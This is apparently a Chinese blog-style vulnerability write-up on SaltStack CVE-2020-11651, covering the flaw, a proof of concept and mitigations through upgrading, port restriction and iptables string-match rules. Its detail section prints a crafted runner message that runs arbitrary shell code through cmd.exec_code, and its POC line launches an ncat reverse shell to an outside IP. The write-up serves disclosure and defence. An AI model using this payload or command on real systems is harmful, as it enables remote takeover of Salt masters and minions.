1 概述
2 安全
3 漏洞细节
if os.path.isabs(path): return ('The path passed in {0} is not relative to the environment ' '{1}').format(path, saltenv)
msg = {"key":root_key, "cmd":"runner", 'fun': 'salt.cmd', "kwarg":{ "fun":"cmd.exec_code", "lang":"python3", "code":"import subprocess;subprocess.call('{}',shell=True)".format(command) }, 'jid': '20200505042223111231', 'user': 'sudo_user', '_stamp': '2020-05-05T07:16:33.601188'}
4 POC
python2.7 CVE-2020-11651.py 172.16.10.17 minions "/usr/bin/ncat -e /bin/bash 10.1.61.23 9943"
效果:
shell来了:
5 解决方案
看似最简单的方案好像是升级到新版本(2019.2.4或者3000.2),但是实际情况下是升级需要时间,这个时间包括原先的插件兼容,代码修改等,一些列的兼容问题和灰度执行是需要时间的。
然后就是端口方案,把默认的4505和4506端口只针对自己的IP开放,这种在短时间内是个比较可行的方案,难点就是新节点需要先加白名单才可以初始化,这种IP太多的情况下白名单的更新处理问题通过自动手段也比较可以接受。
上面两个方案就是各厂的修复方案,但是还有个落地比较可行的临时方案。
因为远程连接的命令其实是没有加密,也就是明文方式,我们可以在master那里的iptables把_prep_auth_info和_send_pub相关的数据禁用掉,相信很多人没有这种远程控制master需求。
iptables规则:
-A INPUT -p tcp --dport 4506 -m string --hex-string "|5F707265705F617574685F696E666F|" --algo bm -j DROP -A INPUT -p tcp --dport 4506 -m string --hex-string "|5F73656E645F707562|" --algo bm -j DROP
比较暴力,也比较简单有效(2018.3.5测试有效)
iptables的string模块再次临时解决痛点问题。不过长久来说还是建议大家升级到新的版本。
6 总结
2014年的BASH破壳漏洞,吸引了一大堆人在短时间内进行代码“找茬”,然后出了一系列的关于bash的安全漏洞。这次漏洞把salt的安全性推到了风口,估计也会有这么一堆人对开源软件的安全性更加谨慎。也让大部分人会相信,对外的服务尽量修改下默认端口这是个最简单也最应该做的安全措施。